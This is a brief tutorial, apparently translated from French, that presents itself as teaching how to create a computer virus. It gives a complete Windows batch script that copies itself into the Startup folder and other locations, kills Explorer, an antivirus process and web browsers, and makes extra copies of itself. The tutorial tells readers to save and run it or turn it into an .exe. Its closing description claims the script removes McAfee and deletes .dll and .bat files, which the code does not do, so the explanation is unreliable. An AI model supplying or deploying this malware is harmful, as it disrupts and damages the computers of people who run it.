How to create a computer virus

Note: This tutorial is for tutorial purposes only to understand the operating basics of any virus, we assume no responsibility for the damage caused by this virus to you or to anyone.

You may be afraid of viruses in your computer or laptop. They directly affect the operation of computer systems. You may also want to create your own virus.

This guide will show you how to create a simple virus. Open a new file in Notepad and paste the following code:

@echo off
copy "virus.bat" "C:\Users\Public\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Démarrage"
copy "virus.bat" "C:\"
copy "virus.bat" "%userprofile%\Documents"
tskill explorer
tskill ccapp
tskill firefox
tskill chrome

copy "virus.bat" "virus.bat2135"
copy "virus.bat" "virus.bat46876"
rem made with Batch Virus Maker V.2
copy "virus.bat" "virus.bat45687"
copy "virus.bat" "virus.bat8868"

Save it as "virus.bat" or whatever with the name you want. Now your first virus is ready to work. You can also convert it to an .exe file.

It copies itself at startup, on the hard drive, on my documents, then it stops the processes explorer.exe, chrome.exe and firefox.exe. It tries to remove the mcafee antivirus and tries to delete all the .dll and .bat files.

Now, if someone clicks on the .bat or .exe file, this batch file runs and executes the operations written in the code. So beware of running this batch file or a restore on your computer.
